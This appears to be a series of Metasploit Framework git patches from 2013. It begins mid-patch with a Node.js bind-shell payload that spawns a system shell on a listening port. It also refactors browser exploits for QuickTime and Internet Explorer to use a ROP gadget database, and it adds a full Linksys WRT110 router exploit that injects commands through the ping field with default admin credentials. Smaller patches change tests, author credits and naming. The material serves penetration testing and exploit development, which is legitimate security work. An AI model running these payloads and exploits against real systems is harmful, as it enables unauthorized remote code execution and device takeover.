'nodejs', + 'Payload' => { 'Offsets' => {}, 'Payload' => '' } + )) + end + + # + # Constructs the payload + # + def generate + super + command_string + end + + # + # Returns the JS string to use for execution + # + def command_string + cmd = <<EOS +(function(){ + var require = global.require || global.process.mainModule.constructor._load; + if (!require) return; + + var cmd = (global.process.platform.match(/^win/i)) ? "cmd" : "/bin/sh"; + var net = require("net"), + cp = require("child_process"), + util = require("util"); + + var server = net.createServer(function(socket) { + var sh = cp.spawn(cmd, []); + socket.pipe(sh.stdin); + util.pump(sh.stdout, socket); + util.pump(sh.stderr, socket); + }); + server.listen(#{datastore['LPORT']}); +})(); +EOS + return "#{cmd.gsub("\n",'').gsub(/\s+/,' ').gsub(/[']/, '\\\\\'')}" + end +end From d8dba8ee58447b1c86505d3fbba9d690c53392a5 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Mon, 7 Oct 2013 09:51:21 -0500 Subject: [PATCH 133/210] Fix ropdb spec according to @limhoff-r7's comments --- spec/lib/rex/exploitation/ropdb_spec.rb | 30 ++++++++++++++++--------- 1 file changed, 20 insertions(+), 10 deletions(-) diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 497200f77e..0c7ccbbae6 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -11,31 +11,35 @@ describe Rex::Exploitation::RopDb do end context ".has_rop?" do - ropdb = Rex::Exploitation::RopDb.new + let(:ropdb) do + Rex::Exploitation::RopDb.new + end it "should find the msvcrt ROP database" do - ropdb.has_rop?("msvcrt").should eq(true) + ropdb.has_rop?("msvcrt").should be_true end it "should find the java ROP database" do - ropdb.has_rop?("java").should eq(true) + ropdb.has_rop?("java").should be_true end it "should find the hxds ROP database" do - ropdb.has_rop?("hxds").should eq(true) + ropdb.has_rop?("hxds").should be_true end it "should find the flash ROP database" do - ropdb.has_rop?("flash").should eq(true) + ropdb.has_rop?("flash").should be_true end it "should return false when I supply an invalid database" do - ropdb.has_rop?("sinn3r").should eq(false) + ropdb.has_rop?("sinn3r").should be_false end end context ".select_rop" do - ropdb = Rex::Exploitation::RopDb.new + let(:ropdb) do + Rex::Exploitation::RopDb.new + end it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') @@ -56,7 +60,9 @@ describe Rex::Exploitation::RopDb do end context ".generate_rop_payload" do - ropdb = Rex::Exploitation::RopDb.new + let(:ropdb) do + Rex::Exploitation::RopDb.new + end it "should generate my ROP payload" do ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ @@ -68,7 +74,9 @@ describe Rex::Exploitation::RopDb do end context ".get_safe_size" do - ropdb = Rex::Exploitation::RopDb.new + let(:ropdb) do + Rex::Exploitation::RopDb.new + end it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) @@ -80,7 +88,9 @@ describe Rex::Exploitation::RopDb do end context ".get_unsafe_size" do - ropdb = Rex::Exploitation::RopDb.new + let(:ropdb) do + Rex::Exploitation::RopDb.new + end it "should return 0xfffffc00 (contains a null byte)" do ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) From 293927aff010aeacfe123671db83e4b452042437 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:22:48 -0500 Subject: [PATCH 134/210] msftidy fix for coldfusion exploit --- modules/auxiliary/gather/coldfusion_pwd_props.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/auxiliary/gather/coldfusion_pwd_props.rb b/modules/auxiliary/gather/coldfusion_pwd_props.rb index 759339d7be..e31d787972 100644 --- a/modules/auxiliary/gather/coldfusion_pwd_props.rb +++ b/modules/auxiliary/gather/coldfusion_pwd_props.rb @@ -168,7 +168,7 @@ class Metasploit3 < Msf::Auxiliary out, filename = fingerprint(res) print_status("#{peer} #{out}") if out - if(out =~ /Not Vulnerable/) + if(out =~ /Not Vulnerable/) print_status("#{peer} isn't vulnerable to this attack") return end From e016c9a62fa49df360cfadd51d3437e0436a9a7e Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 12:27:43 -0500 Subject: [PATCH 135/210] Use RopDb msvcrt ROP chain. Tested all targets. --- .../windows/browser/apple_quicktime_rdrf.rb | 37 ++----------------- 1 file changed, 4 insertions(+), 33 deletions(-) diff --git a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb index 970350f1c8..f726d4d222 100644 --- a/modules/exploits/windows/browser/apple_quicktime_rdrf.rb +++ b/modules/exploits/windows/browser/apple_quicktime_rdrf.rb @@ -11,6 +11,7 @@ class Metasploit4 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::HttpServer::HTML + include Msf::Exploit::RopDb def initialize(info={}) super(update_info(info, @@ -62,39 +63,9 @@ class Metasploit4 < Msf::Exploit::Remote end def get_payload(t) - p = '' - - rop = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") - - p << rop - p << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - p << payload.encoded - - p + alignment = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + p = generate_rop_payload('msvcrt', alignment + payload.encoded, {'target'=>'xp'}) + return p end From 8b7d241dc3fb8d4ee3bc03d40b5755905bd723de Mon Sep 17 00:00:00 2001 From: jvazquez-r7 <juan.vazquez@metasploit.com> Date: Mon, 7 Oct 2013 12:28:50 -0500 Subject: [PATCH 136/210] Use a named subject --- spec/lib/rex/exploitation/ropdb_spec.rb | 26 +++++-------------------- 1 file changed, 5 insertions(+), 21 deletions(-) diff --git a/spec/lib/rex/exploitation/ropdb_spec.rb b/spec/lib/rex/exploitation/ropdb_spec.rb index 0c7ccbbae6..a1ae61b24b 100644 --- a/spec/lib/rex/exploitation/ropdb_spec.rb +++ b/spec/lib/rex/exploitation/ropdb_spec.rb @@ -1,20 +1,20 @@ require 'rex/exploitation/ropdb' describe Rex::Exploitation::RopDb do + + subject(:ropdb) do + described_class.new + end + context "Class methods" do context ".initialize" do it "should initialize with a path of the ROP database ready" do - ropdb = Rex::Exploitation::RopDb.new ropdb.instance_variable_get(:@base_path).should =~ /data\/ropdb\/$/ end end context ".has_rop?" do - let(:ropdb) do - Rex::Exploitation::RopDb.new - end - it "should find the msvcrt ROP database" do ropdb.has_rop?("msvcrt").should be_true end @@ -37,10 +37,6 @@ describe Rex::Exploitation::RopDb do end context ".select_rop" do - let(:ropdb) do - Rex::Exploitation::RopDb.new - end - it "should return msvcrt gadgets" do gadgets = ropdb.select_rop('msvcrt') gadgets.length.should > 0 @@ -60,10 +56,6 @@ describe Rex::Exploitation::RopDb do end context ".generate_rop_payload" do - let(:ropdb) do - Rex::Exploitation::RopDb.new - end - it "should generate my ROP payload" do ropdb.generate_rop_payload('msvcrt', 'AAAA').should =~ /AAAA$/ end @@ -74,10 +66,6 @@ describe Rex::Exploitation::RopDb do end context ".get_safe_size" do - let(:ropdb) do - Rex::Exploitation::RopDb.new - end - it "should return 0xfffffed0 (value does not need to be modified to avoid null bytes)" do ropdb.send(:get_safe_size, 304).should eq(0xfffffed0) end @@ -88,10 +76,6 @@ describe Rex::Exploitation::RopDb do end context ".get_unsafe_size" do - let(:ropdb) do - Rex::Exploitation::RopDb.new - end - it "should return 0xfffffc00 (contains a null byte)" do ropdb.send(:get_unsafe_size, 1024).should eq(0xfffffc00) end From ff6dec5eeee72acb7d9c3c606b563ed90306b801 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:40:43 -0500 Subject: [PATCH 137/210] Promote joev to a first class citizen [See #2476] --- lib/msf/core/module/author.rb | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/msf/core/module/author.rb b/lib/msf/core/module/author.rb index f8ed76f6a8..25a90f8e52 100644 --- a/lib/msf/core/module/author.rb +++ b/lib/msf/core/module/author.rb @@ -44,7 +44,8 @@ class Msf::Module::Author 'Carlos Perez' => 'carlos_perez' + 0x40.chr + 'darkoperator.com', 'juan vazquez' => 'juan.vazquez' + 0x40.chr + 'metasploit.com', 'theLightCosine' => 'theLightCosine' + 0x40.chr + 'metasploit.com', - 'mubix' => 'mubix' + 0x40.chr + 'hak5.org' + 'mubix' => 'mubix' + 0x40.chr + 'hak5.org', + 'joev' => 'joev' + 0x40.chr + 'metasploit.com' } # From 4266b88a209c548138e4cbef5d587171292ff9b0 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 12:49:20 -0500 Subject: [PATCH 138/210] Move author name to just 'joev' [See #2476] --- .../exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb | 2 +- modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb | 2 +- modules/exploits/osx/local/sudo_password_bypass.rb | 2 +- modules/payloads/singles/osx/x64/exec.rb | 2 +- modules/payloads/singles/osx/x86/exec.rb | 2 +- modules/post/multi/escalate/cups_root_file_read.rb | 2 +- modules/post/osx/capture/keylog_recorder.rb | 2 +- modules/post/osx/gather/password_prompt_spoof.rb | 2 +- modules/post/osx/manage/record_mic.rb | 2 +- modules/post/osx/manage/webcam.rb | 2 +- 10 files changed, 10 insertions(+), 10 deletions(-) diff --git a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb index 70aa63bc8b..e15c3217b9 100644 --- a/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb +++ b/modules/exploits/multi/fileformat/nodejs_js_yaml_load_code_exec.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Neal Poole', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>' # Metasploit module + 'joev' # Metasploit module ], 'License' => MSF_LICENSE, 'References' => diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 91270597fc..b220e133a6 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/osx/local/sudo_password_bypass.rb b/modules/exploits/osx/local/sudo_password_bypass.rb index 1d4ca68e74..f359738976 100644 --- a/modules/exploits/osx/local/sudo_password_bypass.rb +++ b/modules/exploits/osx/local/sudo_password_bypass.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Local 'Author' => [ 'Todd C. Miller', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # Metasploit module + 'joev', # Metasploit module 'juan vazquez' # testing/fixing module bugs ], 'References' => diff --git a/modules/payloads/singles/osx/x64/exec.rb b/modules/payloads/singles/osx/x64/exec.rb index 7b316cdcdc..1a93e13352 100644 --- a/modules/payloads/singles/osx/x64/exec.rb +++ b/modules/payloads/singles/osx/x64/exec.rb @@ -17,7 +17,7 @@ module Metasploit3 'Name' => 'OS X x64 Execute Command', 'Description' => 'Execute an arbitrary command', 'Author' => [ 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' ], + 'joev' ], 'License' => MSF_LICENSE, 'Platform' => 'osx', 'Arch' => ARCH_X86_64 diff --git a/modules/payloads/singles/osx/x86/exec.rb b/modules/payloads/singles/osx/x86/exec.rb index 387a28ee5d..437f7cea91 100644 --- a/modules/payloads/singles/osx/x86/exec.rb +++ b/modules/payloads/singles/osx/x86/exec.rb @@ -30,7 +30,7 @@ module Metasploit3 [ 'snagg <snagg[at]openssl.it>', 'argp <argp[at]census-labs.com>', - 'joev <jvennix[at]rapid7.com>' + 'joev' ], 'License' => BSD_LICENSE, 'Platform' => 'osx', diff --git a/modules/post/multi/escalate/cups_root_file_read.rb b/modules/post/multi/escalate/cups_root_file_read.rb index 1eaa6b208b..c5bcf75334 100644 --- a/modules/post/multi/escalate/cups_root_file_read.rb +++ b/modules/post/multi/escalate/cups_root_file_read.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Post 'Author' => [ "Jann Horn", # discovery - "joev <jvennix[at]rapid7.com>" # metasploit module + "joev" # metasploit module ], 'DisclosureDate' => 'Nov 20 2012', 'Platform' => %w{ linux osx } diff --git a/modules/post/osx/capture/keylog_recorder.rb b/modules/post/osx/capture/keylog_recorder.rb index 73dc634c2a..5b41a15076 100644 --- a/modules/post/osx/capture/keylog_recorder.rb +++ b/modules/post/osx/capture/keylog_recorder.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Post command using -e, so the payload never hits the disk. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ] )) diff --git a/modules/post/osx/gather/password_prompt_spoof.rb b/modules/post/osx/gather/password_prompt_spoof.rb index 86bf9db69a..6cba8e5917 100644 --- a/modules/post/osx/gather/password_prompt_spoof.rb +++ b/modules/post/osx/gather/password_prompt_spoof.rb @@ -21,7 +21,7 @@ class Metasploit3 < Msf::Post 'License' => MSF_LICENSE, 'Author' => [ 'Joff Thyer <jsthyer[at]gmail.com>', # original post module - 'joev <jvennix[at]rapid7.com>' # bug fixes + 'joev' # bug fixes ], 'Platform' => [ 'osx' ], 'References' => [ diff --git a/modules/post/osx/manage/record_mic.rb b/modules/post/osx/manage/record_mic.rb index 861252e076..ac952509c7 100644 --- a/modules/post/osx/manage/record_mic.rb +++ b/modules/post/osx/manage/record_mic.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Post capture (with the RECORD action) audio inputs on a remote OSX machine. }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ diff --git a/modules/post/osx/manage/webcam.rb b/modules/post/osx/manage/webcam.rb index 09cf065e0f..88352d45f7 100644 --- a/modules/post/osx/manage/webcam.rb +++ b/modules/post/osx/manage/webcam.rb @@ -24,7 +24,7 @@ class Metasploit3 < Msf::Post record a webcam and mic (with the RECORD action) }, 'License' => MSF_LICENSE, - 'Author' => [ 'joev <jvennix[at]rapid7.com>'], + 'Author' => [ 'joev'], 'Platform' => [ 'osx'], 'SessionTypes' => [ 'shell', 'meterpreter' ], 'Actions' => [ From 219bef41a70e74fa91e199e6cf189e6a6cab2559 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Mon, 7 Oct 2013 13:12:32 -0500 Subject: [PATCH 140/210] Decaps Siemens (consistent with other modules) --- .../windows/browser/siemens_solid_edge_selistctrlx.rb | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb index 359ba01178..aad811d6bd 100644 --- a/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb +++ b/modules/exploits/windows/browser/siemens_solid_edge_selistctrlx.rb @@ -26,9 +26,9 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", + 'Name' => "Siemens Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution", 'Description' => %q{ - This module exploits the SEListCtrlX ActiveX installed with the SIEMENS Solid Edge product. + This module exploits the SEListCtrlX ActiveX installed with the Siemens Solid Edge product. The vulnerability exists on several APIs provided by the control, where user supplied input is handled as a memory pointer without proper validation, allowing an attacker to read and corrupt memory from the target process. This module abuses the methods NumChildren() and @@ -497,4 +497,4 @@ class Metasploit3 < Msf::Exploit::Remote send_response(cli, html, {'Content-Type'=>'text/html'}) end -end \ No newline at end of file +end From aea63130a440c874801c8a4ce87a87f9cefc4e14 Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 14:03:07 -0500 Subject: [PATCH 141/210] Use RopDb for ie_cbutton_uaf. All targets tested except for Vista. Will need additional testing during review. --- .../windows/browser/ie_cbutton_uaf.rb | 97 +++---------------- 1 file changed, 12 insertions(+), 85 deletions(-) diff --git a/modules/exploits/windows/browser/ie_cbutton_uaf.rb b/modules/exploits/windows/browser/ie_cbutton_uaf.rb index a7771ac39d..2c2547cbb5 100644 --- a/modules/exploits/windows/browser/ie_cbutton_uaf.rb +++ b/modules/exploits/windows/browser/ie_cbutton_uaf.rb @@ -135,100 +135,27 @@ class Metasploit3 < Msf::Exploit::Remote # No rop. Just return the payload. return code if t['Rop'].nil? + # Make post code execution more stable + code << rand_text_alpha(12000) + + msvcrt_align = "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 + java_align = "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 + + rop_payload = '' + case t['Rop'] when :msvcrt case t.name when 'IE 8 on Windows XP SP3' - rop_gadgets = - [ - 0x77c1e844, # POP EBP # RETN [msvcrt.dll] - 0x77c1e844, # skip 4 bytes [msvcrt.dll] - 0x77c4fa1c, # POP EBX # RETN [msvcrt.dll] - 0xffffffff, - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c127e5, # INC EBX # RETN [msvcrt.dll] - 0x77c4e0da, # POP EAX # RETN [msvcrt.dll] - 0x2cfe1467, # put delta into eax (-> put 0x00001000 into edx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c58fbc, # XCHG EAX,EDX # RETN [msvcrt.dll] - 0x77c34fcd, # POP EAX # RETN [msvcrt.dll] - 0x2cfe04a7, # put delta into eax (-> put 0x00000040 into ecx) - 0x77c4eb80, # ADD EAX,75C13B66 # ADD EAX,5D40C033 # RETN [msvcrt.dll] - 0x77c14001, # XCHG EAX,ECX # RETN [msvcrt.dll] - 0x77c3048a, # POP EDI # RETN [msvcrt.dll] - 0x77c47a42, # RETN (ROP NOP) [msvcrt.dll] - 0x77c46efb, # POP ESI # RETN [msvcrt.dll] - 0x77c2aacc, # JMP [EAX] [msvcrt.dll] - 0x77c3b860, # POP EAX # RETN [msvcrt.dll] - 0x77c1110c, # ptr to &VirtualAlloc() [IAT msvcrt.dll] - 0x77c12df9, # PUSHAD # RETN [msvcrt.dll] - 0x77c35459 # ptr to 'push esp # ret ' [msvcrt.dll] - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'xp'}) when 'IE 8 on Windows Server 2003' - rop_gadgets = - [ - 0x77bb2563, # POP EAX # RETN - 0x77ba1114, # <- *&VirtualProtect() - 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN - junk, - 0x77bb0c86, # XCHG EAX,ESI # RETN - 0x77bc9801, # POP EBP # RETN - 0x77be2265, # ptr to 'push esp # ret' - 0x77bb2563, # POP EAX # RETN - 0x03C0990F, - 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0x500 -> ebx) - 0x77bb48d3, # POP EBX, RET - 0x77bf21e0, # .data - 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN - 0x77bbfc02, # POP ECX # RETN - 0x77bef001, # W pointer (lpOldProtect) (-> ecx) - 0x77bd8c04, # POP EDI # RETN - 0x77bd8c05, # ROP NOP (-> edi) - 0x77bb2563, # POP EAX # RETN - 0x03c0984f, - 0x77bdd441, # SUB EAX, 03c0940f - 0x77bb8285, # XCHG EAX,EDX # RETN - 0x77bb2563, # POP EAX # RETN - nop, - 0x77be6591 # PUSHAD # ADD AL,0EF # RETN - ].pack("V*") + rop_payload = generate_rop_payload('msvcrt', msvcrt_align + code, {'target'=>'2003'}) end else - rop_gadgets = - [ - 0x7c37653d, # POP EAX # POP EDI # POP ESI # POP EBX # POP EBP # RETN - 0xfffffdff, # Value to negate, will become 0x00000201 (dwSize) - 0x7c347f98, # RETN (ROP NOP) [msvcr71.dll] - 0x7c3415a2, # JMP [EAX] [msvcr71.dll] - 0xffffffff, - 0x7c376402, # skip 4 bytes [msvcr71.dll] - 0x7c351e05, # NEG EAX # RETN [msvcr71.dll] - 0x7c345255, # INC EBX # FPATAN # RETN [msvcr71.dll] - 0x7c352174, # ADD EBX,EAX # XOR EAX,EAX # INC EAX # RETN [msvcr71.dll] - 0x7c344f87, # POP EDX # RETN [msvcr71.dll] - 0xffffffc0, # Value to negate, will become 0x00000040 - 0x7c351eb1, # NEG EDX # RETN [msvcr71.dll] - 0x7c34d201, # POP ECX # RETN [msvcr71.dll] - 0x7c38b001, # &Writable location [msvcr71.dll] - 0x7c347f97, # POP EAX # RETN [msvcr71.dll] - 0x7c37a151, # ptr to &VirtualProtect() - 0x0EF [IAT msvcr71.dll] - 0x7c378c81, # PUSHAD # ADD AL,0EF # RETN [msvcr71.dll] - 0x7c345c30 # ptr to 'push esp # ret ' [msvcr71.dll] - # rop chain generated with mona.py - ].pack("V*") + rop_payload = generate_rop_payload('java', java_align + code) end - rop_payload = rop_gadgets - case t['Rop'] - when :msvcrt - rop_payload << "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 - else - rop_payload << "\x81\xEC\xF0\xD8\xFF\xFF" # sub esp, -10000 - end - rop_payload << code - rop_payload << rand_text_alpha(12000) unless t['Rop'] == :msvcrt - - return rop_payload + rop_payload end def load_exploit_html(my_target, cli) From ec6516d87ccc347bef17af73c49433b91c38667a Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Oct 2013 14:06:13 -0500 Subject: [PATCH 142/210] Deprecate misnamed module. * Renames to a linux linksys module. --- .../linux/http/linksys_wrt110_cmd_exec.rb | 121 ++++++++++++++++++ .../http/linksys_wrt110_cmd_exec_stager.rb | 5 + 2 files changed, 126 insertions(+) create mode 100644 modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb new file mode 100644 index 0000000000..91270597fc --- /dev/null +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -0,0 +1,121 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + include Msf::Exploit::CmdStagerEcho + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'Linksys WRT110 Remote Command Execution', + 'Description' => %q{ + The Linksys WRT110 consumer router is vulnerable to a command injection + exploit in the ping field of the web interface. + }, + 'Author' => + [ + 'Craig Young', # Vulnerability discovery + 'joev <jvennix[at]rapid7.com>', # msf module + 'juan vazquez' # module help + echo cmd stager + ], + 'License' => MSF_LICENSE, + 'References' => + [ + ['CVE', '2013-3568'], + ['BID', '61151'], + ['URL', 'http://seclists.org/bugtraq/2013/Jul/78'] + ], + 'DisclosureDate' => 'Jul 12 2013', + 'Privileged' => true, + 'Platform' => ['linux'], + 'Arch' => ARCH_MIPSLE, + 'Targets' => + [ + ['Linux mipsel Payload', { } ] + ], + 'DefaultTarget' => 0, + )) + + register_options([ + OptString.new('USERNAME', [ true, 'Valid router administrator username', 'admin']), + OptString.new('PASSWORD', [ false, 'Password to login with', 'admin']), + OptAddress.new('RHOST', [true, 'The address of the router', '192.168.1.1']), + OptInt.new('TIMEOUT', [false, 'The timeout to use in every request', 20]) + ], self.class) + + end + + def check + begin + res = send_request_cgi({ + 'uri' => '/HNAP1/' + }) + rescue ::Rex::ConnectionError + return Exploit::CheckCode::Safe + end + + if res and res.code == 200 and res.body =~ /<ModelName>WRT110<\/ModelName>/ + return Exploit::CheckCode::Vulnerable + end + + return Exploit::CheckCode::Safe + end + + def exploit + test_login! + + execute_cmdstager + end + + # Sends an HTTP request with authorization header to the router + # Raises an exception unless the login is successful + def test_login! + print_status("#{rhost}:#{rport} - Trying to login with #{user}:#{pass}") + + res = send_auth_request_cgi({ + 'uri' => '/', + 'method' => 'GET' + }) + + if not res or res.code == 401 or res.code == 404 + fail_with(Failure::NoAccess, "#{rhost}:#{rport} - Could not login with #{user}:#{pass}") + else + print_good("#{rhost}:#{rport} - Successful login #{user}:#{pass}") + end + end + + # Run the command on the router + def execute_command(cmd, opts) + send_auth_request_cgi({ + 'uri' => '/ping.cgi', + 'method' => 'POST', + 'vars_post' => { + 'pingstr' => '& ' + cmd + } + }) + + Rex.sleep(1) # Give the device a second + end + + # Helper methods + def user; datastore['USERNAME']; end + def pass; datastore['PASSWORD'] || ''; end + + def send_auth_request_cgi(opts={}, timeout=nil) + timeout ||= datastore['TIMEOUT'] + opts.merge!('authorization' => basic_auth(user, pass)) + begin + send_request_cgi(opts, timeout) + rescue ::Rex::ConnectionError + fail_with(Failure::Unknown, "#{rhost}:#{rport} - Could not connect to the webservice") + end + end +end diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 91270597fc..0fd6d53cb6 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -10,6 +10,11 @@ require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = ExcellentRanking + # handle module misnomer + require 'msf/core/module/deprecated' + include Msf::Module::Deprecated + deprecated Date.new(2013, 12, 7), 'exploit/linux/http/linksys_wrt110_cmd_exec' + include Msf::Exploit::Remote::HttpClient include Msf::Exploit::CmdStagerEcho From 4ba001d6dd022bc0b6adc2d3c83f5e056b7faafe Mon Sep 17 00:00:00 2001 From: joev <joev@metasploit.com> Date: Mon, 7 Oct 2013 14:10:47 -0500 Subject: [PATCH 143/210] Put my short name to prevent conflicts. --- modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb | 2 +- modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb | 2 +- 2 files changed, 2 insertions(+), 2 deletions(-) diff --git a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb index 91270597fc..b220e133a6 100644 --- a/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb +++ b/modules/exploits/linux/http/linksys_wrt110_cmd_exec.rb @@ -23,7 +23,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, diff --git a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb index 0fd6d53cb6..e7102583ac 100644 --- a/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb +++ b/modules/exploits/multi/http/linksys_wrt110_cmd_exec_stager.rb @@ -28,7 +28,7 @@ class Metasploit3 < Msf::Exploit::Remote 'Author' => [ 'Craig Young', # Vulnerability discovery - 'joev <jvennix[at]rapid7.com>', # msf module + 'joev', # msf module 'juan vazquez' # module help + echo cmd stager ], 'License' => MSF_LICENSE, From 67228bace85bbd8245ed8c03bbb70d9e29834e4c Mon Sep 17 00:00:00 2001 From: sinn3r <wei_chen@rapid7.com> Date: Mon, 7 Oct 2013 14:51:34 -0500 Subject: [PATCH 144/210] Use RopDb for ie_cgenericelement_uaf. All targets tested except for Vista, so additional testing will need to be done during review. --- 